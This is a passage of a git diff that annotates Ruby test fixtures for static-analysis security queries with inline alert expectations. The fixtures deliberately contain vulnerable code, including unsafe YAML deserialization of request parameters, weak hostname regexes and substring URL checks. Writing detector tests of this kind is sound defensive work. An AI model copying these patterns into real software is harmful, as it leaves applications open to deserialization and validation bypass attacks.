--- a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref
+++ b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.qlref
@@ -1 +1,2 @@
-experimental/cwe-502/UnsafeYamlDeserialization.ql
\ No newline at end of file
+query: experimental/cwe-502/UnsafeYamlDeserialization.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb
index c9b186e0915b..dc3e1cbab95b 100644
--- a/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb
+++ b/ruby/ql/test/query-tests/experimental/cwe-502/UnsafeYamlDeserialization.rb
@@ -7,15 +7,15 @@
 class UsersController < ActionController::Base
   # BAD before psych version 4.0.0 and 
   def route1
-    yaml_data = params[:key]
-    object = Psych.load yaml_data
+    yaml_data = params[:key] # $ Source
+    object = Psych.load yaml_data # $ Alert
     object = Psych.load_file yaml_data
   end
 
   # GOOD In psych version 4.0.0 and above
   def route2
-    yaml_data = params[:key]
-    object = Psych.load yaml_data
+    yaml_data = params[:key] # $ Source
+    object = Psych.load yaml_data # $ Alert
     object = Psych.load_file yaml_data
   end
 
@@ -29,14 +29,14 @@ def route3
 
   # BAD
   def route4
-    yaml_data = params[:key]
-    object = Psych.unsafe_load(yaml_data)
-    object = Psych.unsafe_load_file(yaml_data)
-    object = Psych.load_stream(yaml_data)
+    yaml_data = params[:key] # $ Source
+    object = Psych.unsafe_load(yaml_data) # $ Alert
+    object = Psych.unsafe_load_file(yaml_data) # $ Alert
+    object = Psych.load_stream(yaml_data) # $ Alert
     parse_output = Psych.parse_stream(yaml_data)
-    object = parse_output.to_ruby
-    object = Psych.parse(yaml_data).to_ruby
-    object = Psych.parse_file(yaml_data).to_ruby
+    object = parse_output.to_ruby # $ Alert
+    object = Psych.parse(yaml_data).to_ruby # $ Alert
+    object = Psych.parse_file(yaml_data).to_ruby # $ Alert
     parsed_yaml = Psych.parse_stream(yaml_data)
     parsed_yaml.children.each do |child|
       object = child.to_ruby
@@ -46,7 +46,7 @@ def route4
     end
     object = parsed_yaml.children.first.to_ruby
     content = parsed_yaml.children[0].children[0].children
-    object = parsed_yaml.to_ruby[0]
+    object = parsed_yaml.to_ruby[0] # $ Alert
     object = content.to_ruby[0]
     object = Psych.parse(yaml_data).children[0].to_ruby
   end
@@ -58,18 +58,18 @@ def route5
   end
 
   def stdin
-    object = YAML.load $stdin.read
+    object = YAML.load $stdin.read # $ Alert
 
     # STDIN
-    object = YAML.load STDIN.gets
+    object = YAML.load STDIN.gets # $ Alert
 
     # ARGF
-    object = YAML.load ARGF.read
+    object = YAML.load ARGF.read # $ Alert
 
     # Kernel.gets
-    object = YAML.load gets
+    object = YAML.load gets # $ Alert
 
     # Kernel.readlines
-    object = YAML.load readlines
+    object = YAML.load readlines # $ Alert
   end
 end
diff --git a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref
index 463c21cd0f29..455d02aef04c 100644
--- a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref
+++ b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.qlref
@@ -1 +1,2 @@
-experimental/manually-check-http-verb/ManuallyCheckHttpVerb.ql
\ No newline at end of file
+query: experimental/manually-check-http-verb/ManuallyCheckHttpVerb.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb
index 055e9d986382..aacb1730dd92 100644
--- a/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb
+++ b/ruby/ql/test/query-tests/experimental/manually-check-http-verb/ManuallyCheckHttpVerb.rb
@@ -1,39 +1,39 @@
 class ExampleController < ActionController::Base
   # Should find
   def example_action
-    if request.get?
+    if request.get? # $ Alert
       Resource.find(id: params[:example_id])
     end
   end
 
   # Should find
   def other_action
-    method = request.env['REQUEST_METHOD']
-    if method == "GET"
+    method = request.env['REQUEST_METHOD'] # $ Source
+    if method == "GET" # $ Alert
       Resource.find(id: params[:id])
     end
   end
 
   # Should find
   def foo
-    method = request.request_method
-    if method == "GET"
+    method = request.request_method # $ Source
+    if method == "GET" # $ Alert
       Resource.find(id: params[:id])
     end
   end
 
   # Should find
   def bar
-    method = request.method
-    if method == "GET"
+    method = request.method # $ Source
+    if method == "GET" # $ Alert
       Resource.find(id: params[:id])
     end
   end
 
   # Should find
   def baz
-    method = request.raw_request_method
-    if method == "GET"
+    method = request.raw_request_method # $ Source
+    if method == "GET" # $ Alert
       Resource.find(id: params[:id])
     end
   end
@@ -48,15 +48,15 @@ def baz2
 
     # Should find
     def foobarbaz
-      method = request.request_method_symbol
-      if method == :GET
+      method = request.request_method_symbol # $ Source
+      if method == :GET # $ Alert
         Resource.find(id: params[:id])
       end
     end
 
   # Should find
   def resource_action
-    case request.env['REQUEST_METHOD']
+    case request.env['REQUEST_METHOD'] # $ Alert
     when "GET"
       Resource.find(id: params[:id])
     when "POST"
@@ -114,4 +114,4 @@ def resource_action
 end
 
 class Resource < ActiveRecord::Base
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref
index 5350e4bf40a5..96a41103dd44 100644
--- a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref
+++ b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.qlref
@@ -1 +1,2 @@
-experimental/weak-params/WeakParams.ql
\ No newline at end of file
+query: experimental/weak-params/WeakParams.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb
index a5edef2e6dc2..461bd4a53281 100644
--- a/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb
+++ b/ruby/ql/test/query-tests/experimental/weak-params/WeakParams.rb
@@ -2,22 +2,22 @@ class TestController < ActionController::Base
   
   # Should catch
   def create
-    TestObject.create(foo: request.request_parameters[:foo])
+    TestObject.create(foo: request.request_parameters[:foo]) # $ Alert
   end
 
   # Should catch
   def create_query
-    TestObject.create(foo: request.query_parameters[:foo])
+    TestObject.create(foo: request.query_parameters[:foo]) # $ Alert
   end
 
   # Should catch
   def update_unsafe
-    TestObject.update(foo: request.POST[:foo])
+    TestObject.update(foo: request.POST[:foo]) # $ Alert
   end
 
   # Should catch
   def update_unsafe_get
-    TestObject.update(foo: request.GET[:foo])
+    TestObject.update(foo: request.GET[:foo]) # $ Alert
   end
 
   # Should not catch
@@ -37,4 +37,4 @@ def test_non_sink
 end
 
 class TestObject < ActiveRecord::Base
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref
index f2a94b28c407..453e0a3f399f 100644
--- a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref
+++ b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.qlref
@@ -1 +1,2 @@
-experimental/performance/UseDetect.ql
+query: experimental/performance/UseDetect.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb
index e1d2d9b91ba0..2c2602e72e62 100644
--- a/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb
+++ b/ruby/ql/test/query-tests/performance/UseDetect/UseDetect.rb
@@ -2,14 +2,14 @@
 class DetectTest
     def test
         # These are bad
-        [].select { |i| true }.first
-        [].select { |i| true }.last
-        [].select { |i| true }[0]
-        [].select { |i| true }[-1]
-        [].filter { |i| true }.first
-        [].find_all { |i| true }.last
+        [].select { |i| true }.first # $ Alert
+        [].select { |i| true }.last # $ Alert
+        [].select { |i| true }[0] # $ Alert
+        [].select { |i| true }[-1] # $ Alert
+        [].filter { |i| true }.first # $ Alert
+        [].find_all { |i| true }.last # $ Alert
         selection1 = [].select { |i| true }
-        selection1.first
+        selection1.first # $ Alert
 
         # These are good
         [].select("").first # Selecting a string
diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref
index 7fd45d159ce4..93a6200ff175 100644
--- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/IncompleteHostnameRegExp.qlref
@@ -1 +1,2 @@
-queries/security/cwe-020/IncompleteHostnameRegExp.ql
\ No newline at end of file
+query: queries/security/cwe-020/IncompleteHostnameRegExp.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb
index 5a5c96692ce0..32aa8ad9491d 100644
--- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb
+++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/hosttest.rb
@@ -1,6 +1,6 @@
-UNSAFE_REGEX1 = /(www|beta).example.com\//
-UNSAFE_REGEX2 = Regexp.compile("(www|beta).example.com/")
-UNSAFE_REGEX3 = Regexp.new("(www|beta).example.com/")
+UNSAFE_REGEX1 = /(www|beta).example.com\// # $ Alert
+UNSAFE_REGEX2 = Regexp.compile("(www|beta).example.com/") # $ Alert
+UNSAFE_REGEX3 = Regexp.new("(www|beta).example.com/") # $ Alert
 SAFE_REGEX = /(www|beta)\.example\.com\//
 
 def unsafe
diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb
index 7041e4dc9c46..047e2cc6d691 100644
--- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb
+++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteHostnameRegExp/tst-IncompleteHostnameRegExp.rb
@@ -1,31 +1,31 @@
 def foo
 	/^http:\/\/example.com/; # OK
-	/^http:\/\/test.example.com/; # NOT OK
+	/^http:\/\/test.example.com/; # $ Alert // NOT OK
 	/^http:\/\/test\.example.com/; # OK
-	/^http:\/\/test.example.net/; # NOT OK
-	/^http:\/\/test.(example-a|example-b).com/; # NOT OK
-	/^http:\/\/(.+).example.com\//; # NOT OK
+	/^http:\/\/test.example.net/; # $ Alert // NOT OK
+	/^http:\/\/test.(example-a|example-b).com/; # $ Alert // NOT OK
+	/^http:\/\/(.+).example.com\//; # $ Alert // NOT OK
 	/^http:\/\/(\.+)\.example.com/; # OK
-	/^http:\/\/(?:.+)\.test\.example.com\//; # NOT OK
-	/^http:\/\/test.example.com\/(?:.*)/; # OK
-	Regexp.new("^http://test.example.com"); # NOT OK
-	if (s.match("^http://test.example.com")); end # NOT OK
+	/^http:\/\/(?:.+)\.test\.example.com\//; # $ Alert // NOT OK
+	/^http:\/\/test.example.com\/(?:.*)/; # $ Alert // OK
+	Regexp.new("^http://test.example.com"); # $ Alert // NOT OK
+	if (s.match("^http://test.example.com")); end # $ Alert // NOT OK
 
 
-	Regexp.new(id(id(id("^http://test.example.com")))); # NOT OK
+	Regexp.new(id(id(id("^http://test.example.com")))); # $ Alert // NOT OK
 
-	Regexp.new(`test.example.com$`); # NOT OK
+	Regexp.new(`test.example.com$`); # $ Alert // NOT OK
 
-	hostname = '^test.example.com'; # NOT OK
-	Regexp.new("#{hostname}$");
+	hostname = '^test.example.com'; # $ Alert // NOT OK
+	Regexp.new("#{hostname}$"); # $ Alert
 
-	domain = { hostname: 'test.example.com$' }; # NOT OK
+	domain = { hostname: 'test.example.com$' }; # $ Alert // NOT OK
 	Regexp.new(domain[:hostname]);
 
 
 
 
-	convert1({ hostname: 'test.example.com$' }); # NOT OK
+	convert1({ hostname: 'test.example.com$' }); # $ Alert // NOT OK
 
 	domains = [ { hostname: 'test.example.com$' } ];  # NOT OK - but not flagged due to limitations of TypeTracking.
 
@@ -34,18 +34,18 @@ def foo
 	domains.map{ |d| convert2(d) };
 
 	/^(.+\.(?:example-a|example-b)\.com)\//; # NOT OK
-	/^(https?:)?\/\/((service|www).)?example.com(?=$|\/)/; # NOT OK
-	/^(http|https):\/\/www.example.com\/p\/f\//; # NOT OK
-	/^(http:\/\/sub.example.com\/)/i; # NOT OK
-	/^https?:\/\/api.example.com/; # NOT OK
-	Regexp.new('^http://localhost:8000|' + "^https?://.+\\.example\\.com/"); # NOT OK
+	/^(https?:)?\/\/((service|www).)?example.com(?=$|\/)/; # $ Alert // NOT OK
+	/^(http|https):\/\/www.example.com\/p\/f\//; # $ Alert // NOT OK
+	/^(http:\/\/sub.example.com\/)/i; # $ Alert // NOT OK
+	/^https?:\/\/api.example.com/; # $ Alert // NOT OK
+	Regexp.new('^http://localhost:8000|' + "^https?://.+\\.example\\.com/"); # $ Alert // NOT OK
 	Regexp.new("^http[s]?:\/\/?sub1\\.sub2\\.example\\.com\/f\/(.+)"); # NOT OK
-	/^https:\/\/[a-z]*.example.com$/; # NOT OK
-	Regexp.compile('^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)'); # NOT OK
+	/^https:\/\/[a-z]*.example.com$/; # $ Alert // NOT OK
+	Regexp.compile('^protos?://(localhost|.+.example.net|.+.example-a.com|.+.example-b.com|.+.example.internal)'); # $ Alert // NOT OK
 
 	/^(example.dev|example.com)/; # OK
 
-	Regexp.new('^http://localhost:8000|' + "^https?://.+.example\\.com/"); # NOT OK
+	Regexp.new('^http://localhost:8000|' + "^https?://.+.example\\.com/"); # $ Alert // NOT OK
 
 	primary = 'example.com$';
 	Regexp.new('test.' + primary); # NOT OK, but not detected
@@ -56,7 +56,7 @@ def foo
 
 	/^http:\/\/(..|...)\.example\.com\/index\.html/; # OK, wildcards are intentional
 	/^http:\/\/.\.example\.com\/index\.html/; # OK, the wildcard is intentional
-	/^(foo.example\.com|whatever)$/; # kinda OK - one disjunction doesn't even look like a hostname
+	/^(foo.example\.com|whatever)$/; # $ Alert // kinda OK - one disjunction doesn't even look like a hostname
 end
 def id(e); return e; end
 def convert1(domain)
@@ -78,4 +78,4 @@ def self.match?(x)
 	end
 end
 
-B.match?("^http://test.example.com") # NOT OK
+B.match?("^http://test.example.com") # $ Alert // NOT OK
diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref
index dea02dce1538..077f367fe477 100644
--- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/IncompleteUrlSubstringSanitization.qlref
@@ -1 +1,2 @@
-queries/security/cwe-020/IncompleteUrlSubstringSanitization.ql
+query: queries/security/cwe-020/IncompleteUrlSubstringSanitization.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb
index dc6d49de57af..c7b4a55642bc 100644
--- a/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb
+++ b/ruby/ql/test/query-tests/security/cwe-020/IncompleteUrlSubstringSanitization/tst-IncompleteUrlSubstringSanitization.rb
@@ -1,23 +1,23 @@
 def test (x)
     x.index("internal") != nil; # NOT OK, but not flagged
     x.index("localhost") != nil; # NOT OK, but not flagged
-    x.index("secure.com") != nil; # NOT OK
-    x.index("secure.net") != nil; # NOT OK
-    x.index(".secure.com") != nil; # NOT OK
+    x.index("secure.com") != nil; # $ Alert // NOT OK
+    x.index("secure.net") != nil; # $ Alert // NOT OK
+    x.index(".secure.com") != nil; # $ Alert // NOT OK
     x.index("sub.secure.") != nil; # NOT OK, but not flagged
     x.index(".sub.secure.") != nil; # NOT OK, but not flagged
 
-    x.index("secure.com") === nil; # NOT OK
-    x.index("secure.com") === 0; # NOT OK
-    x.index("secure.com") >= 0; # NOT OK
+    x.index("secure.com") === nil; # $ Alert // NOT OK
+    x.index("secure.com") === 0; # $ Alert // NOT OK
+    x.index("secure.com") >= 0; # $ Alert // NOT OK
 
-    x.start_with?("https://secure.com"); # NOT OK
-    x.end_with?("secure.com"); # NOT OK
+    x.start_with?("https://secure.com"); # $ Alert // NOT OK
+    x.end_with?("secure.com"); # $ Alert // NOT OK
     x.end_with?(".secure.com"); # OK
     x.start_with?("secure.com/"); # OK
     x.index("secure.com/") === 0; # OK
 
-    x.include?("secure.com"); # NOT OK
+    x.include?("secure.com"); # $ Alert // NOT OK
 
     x.index("#") != nil; # OK
     x.index(":") != nil; # OK
@@ -29,9 +29,9 @@ def test (x)
     x.index("some/path") != nil; # OK
     x.index("/index.html") != nil; # OK
     x.index(":template:") != nil; # OK
-    x.index("https://secure.com") != nil; # NOT OK
-    x.index("https://secure.com:443") != nil; # NOT OK
-    x.index("https://secure.com/") != nil; # NOT OK
+    x.index("https://secure.com") != nil; # $ Alert // NOT OK
+    x.index("https://secure.com:443") != nil; # $ Alert // NOT OK
+    x.index("https://secure.com/") != nil; # $ Alert // NOT OK
 
     x.index(".cn") != nil; # NOT OK, but not flagged
     x.index(".jpg") != nil; # OK
@@ -49,28 +49,28 @@ def test (x)
 	x.index("tar.gz") + offset; # OK
 	x.index("tar.gz") - offset; # OK
 
-    x.index("https://example.internal") != nil; # NOT OK
+    x.index("https://example.internal") != nil; # $ Alert // NOT OK
     x.index("https://") != nil; # OK
 
-    x.start_with?("https://example.internal"); # NOT OK
-    x.index('https://example.internal.org') != 0; # NOT OK
-    x.index('https://example.internal.org') === 0; # NOT OK
-    x.end_with?("internal.com"); # NOT OK
+    x.start_with?("https://example.internal"); # $ Alert // NOT OK
+    x.index('https://example.internal.org') != 0; # $ Alert // NOT OK
+    x.index('https://example.internal.org') === 0; # $ Alert // NOT OK
+    x.end_with?("internal.com"); # $ Alert // NOT OK
     x.start_with?("https://example.internal:80"); # OK
 
-	x.index("secure.com") != nil; # NOT OK
-	x.index("secure.com") === nil; # OK
-	!(x.index("secure.com") != nil); # OK
-	!x.include?("secure.com"); # OK
+	x.index("secure.com") != nil; # $ Alert // NOT OK
+	x.index("secure.com") === nil; # $ Alert // OK
+	!(x.index("secure.com") != nil); # $ Alert // OK
+	!x.include?("secure.com"); # $ Alert // OK
 
-	if !x.include?("secure.com") # NOT OK
+	if !x.include?("secure.com") # $ Alert // NOT OK
 
 	else
 		doSomeThingWithTrustedURL(x);
     end
     
     x.start_with?("https://secure.com/foo/bar"); # OK - a forward slash after the domain makes prefix checks safe.
-    x.index("https://secure.com/foo/bar") >= 0 # NOT OK - the url can be anywhere in the string.
-    x.index("https://secure.com") >= 0 # NOT OK
-    x.index("https://secure.com/foo/bar-baz") >= 0 # NOT OK - the url can be anywhere in the string.
+    x.index("https://secure.com/foo/bar") >= 0 # $ Alert // NOT OK - the url can be anywhere in the string.
+    x.index("https://secure.com") >= 0 # $ Alert // NOT OK
+    x.index("https://secure.com/foo/bar-baz") >= 0 # $ Alert // NOT OK - the url can be anywhere in the string.
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref
index 4b61fcc56d74..8de0d5036bb1 100644
--- a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/MissingFullAnchor.qlref
@@ -1 +1,2 @@
-queries/security/cwe-020/MissingFullAnchor.ql
\ No newline at end of file
+query: queries/security/cwe-020/MissingFullAnchor.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb
index c488990062ab..04c09a7d7864 100644
--- a/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb
+++ b/ruby/ql/test/query-tests/security/cwe-020/MissingFullAnchor/impl/miss-anchor.rb
@@ -1,17 +1,17 @@
 class Foobar
-  def foo1(name)
-    raise Blabity, 'Invalid thing' if name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK
+  def foo1(name) # $ Source
+    raise Blabity, 'Invalid thing' if name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # $ Alert // NOT OK
   end
 
-  def foo2(name)
-    raise Blabity, 'Invalid thing' unless name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK
+  def foo2(name) # $ Source
+    raise Blabity, 'Invalid thing' unless name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # $ Alert // NOT OK
   end
 
   def foo3(name)
     raise Blabity, 'Invalid thing' unless name !~ /\A[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*\z/ # OK
   end
 
-  def foo4(name) 
-    raise Blabity, 'Invalid thing' unless not name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # NOT OK
+  def foo4(name)  # $ Source
+    raise Blabity, 'Invalid thing' unless not name !~ /^[A-Za-z0-9\+\-_]+(\/[A-Za-z0-9\+\-_]+)*$/ # $ Alert // NOT OK
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref
index bd3ad563aec1..ffb6ae961f63 100644
--- a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/MissingRegExpAnchor.qlref
@@ -1 +1,2 @@
-queries/security/cwe-020/MissingRegExpAnchor.ql
\ No newline at end of file
+query: queries/security/cwe-020/MissingRegExpAnchor.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb
index 11410d7db1f4..29d347269ace 100644
--- a/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb
+++ b/ruby/ql/test/query-tests/security/cwe-020/MissingRegExpAnchor/missing_regexp_anchor.rb
@@ -1,11 +1,11 @@
-/www\.example\.com/ # BAD
+/www\.example\.com/ # $ Alert // BAD
 /^www\.example\.com$/ # BAD: uses end-of-line anchors rather than end-of-string anchors
 /\Awww\.example\.com\z/ # GOOD
 
 /foo\.bar/ # GOOD
 
-/https?:\/\/good\.com/ # BAD
-/^https?:\/\/good\.com/ # BAD: missing end-of-string anchor
+/https?:\/\/good\.com/ # $ Alert // BAD
+/^https?:\/\/good\.com/ # $ Alert // BAD: missing end-of-string anchor
 /(^https?:\/\/good1\.com)|(^https?:#good2\.com)/ # BAD: missing end-of-string anchor
 
 /bar/ # GOOD
@@ -16,40 +16,40 @@
 foo.sub!(/www\.example\.com/, "bar") # GOOD
 
 /^a|/
-/^a|b/ # BAD
+/^a|b/ # $ Alert // BAD
 /a|^b/
 /^a|^b/
-/^a|b|c/ # BAD
+/^a|b|c/ # $ Alert // BAD
 /a|^b|c/
 /a|b|^c/
 /^a|^b|c/
 
 /(^a)|b/
-/^a|(b)/ # BAD
+/^a|(b)/ # $ Alert // BAD
 /^a|(^b)/
-/^(a)|(b)/ # BAD
+/^(a)|(b)/ # $ Alert // BAD
 
 
-/a|b$/ # BAD
+/a|b$/ # $ Alert // BAD
 /a$|b/
 /a$|b$/
-/a|b|c$/ # BAD
+/a|b|c$/ # $ Alert // BAD
 /a|b$|c/
 /a$|b|c/
 /a|b$|c$/
 
 /a|(b$)/
-/(a)|b$/ # BAD
+/(a)|b$/ # $ Alert // BAD
 /(a$)|b$/
-/(a)|(b)$/ # BAD
+/(a)|(b)$/ # $ Alert // BAD
 
-/^good.com|better.com/ # BAD
-/^good\.com|better\.com/ # BAD
-/^good\\.com|better\\.com/ # BAD
-/^good\\\.com|better\\\.com/ # BAD
-/^good\\\\.com|better\\\\.com/ # BAD
+/^good.com|better.com/ # $ Alert // BAD
+/^good\.com|better\.com/ # $ Alert // BAD
+/^good\\.com|better\\.com/ # $ Alert // BAD
+/^good\\\.com|better\\\.com/ # $ Alert // BAD
+/^good\\\\.com|better\\\\.com/ # $ Alert // BAD
 
-/^foo|bar|baz$/ # BAD
+/^foo|bar|baz$/ # $ Alert // BAD
 /^foo|%/ # OK
 
 REGEXP = /foo/
@@ -57,5 +57,5 @@
 REGEXP.match "http://example.com" # GOOD: the url is the text not the regexp
 "http://example.com".match? REGEXP  # GOOD: the url is the text not the regexp
 "http://example.com".match REGEXP  # GOOD: the url is the text not the regexp
-"some text".match? "http://example.com" # BAD
-"some text".match "http://example.com" # BAD
+"some text".match? "http://example.com" # $ Alert // BAD
+"some text".match "http://example.com" # $ Alert // BAD
diff --git a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref
index f1d6eea73c2c..476daefd7f31 100644
--- a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/OverlyLargeRangeQuery.qlref
@@ -1 +1,2 @@
-queries/security/cwe-020/OverlyLargeRange.ql
+query: queries/security/cwe-020/OverlyLargeRange.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb
index ed6ffe21b14a..57b5c3bee321 100644
--- a/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb
+++ b/ruby/ql/test/query-tests/security/cwe-020/SuspiciousRegexpRange/suspicous_regexp_range.rb
@@ -1,8 +1,8 @@
-overlap1 = /^[0-93-5]$/ # NOT OK
+overlap1 = /^[0-93-5]$/ # $ Alert // NOT OK
 
-overlap2 = /[A-ZA-z]/ # NOT OK
+overlap2 = /[A-ZA-z]/ # $ Alert // NOT OK
 
-isEmpty = /^[z-a]$/ # NOT OK
+isEmpty = /^[z-a]$/ # $ Alert // NOT OK
 
 isAscii = /^[\x00-\x7F]*$/ # OK
 
@@ -12,22 +12,22 @@
 
 NON_ALPHANUMERIC_REGEXP = /([^\#-~| |!])/ # OK
 
-smallOverlap = /[0-9a-fA-f]/ # NOT OK
+smallOverlap = /[0-9a-fA-f]/ # $ Alert // NOT OK
 
-weirdRange = /[$-`]/ # NOT OK
+weirdRange = /[$-`]/ # $ Alert // NOT OK
 
-keywordOperator = /[!\~\*\/%+-<>\^|=&]/ # NOT OK
+keywordOperator = /[!\~\*\/%+-<>\^|=&]/ # $ Alert // NOT OK
 
-notYoutube = /youtu\.be\/[a-z1-9.-_]+/ # NOT OK
+notYoutube = /youtu\.be\/[a-z1-9.-_]+/ # $ Alert // NOT OK
 
-numberToLetter = /[7-F]/ # NOT OK
+numberToLetter = /[7-F]/ # $ Alert // NOT OK
 
-overlapsWithClass1 = /[0-9\d]/ # NOT OK
+overlapsWithClass1 = /[0-9\d]/ # $ Alert // NOT OK
 
-overlapsWithClass2 = /[\w,.-?:*+]/ # NOT OK
+overlapsWithClass2 = /[\w,.-?:*+]/ # $ Alert // NOT OK
 
 escapes = /[\000-\037\047\134\177-\377]/n # OK - they are escapes
 
 nested = /[a-z&&[^a-c]]/ # OK
 
-overlapsWithNothing = /[\w_%-.]/;
\ No newline at end of file
+overlapsWithNothing = /[\w_%-.]/; # $ Alert
diff --git a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref b/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref
index aea01648c788..b8b59265f26b 100644
--- a/ruby/ql/test/query-tests/security/cwe-078/KernelOpen/KernelOpen.qlref
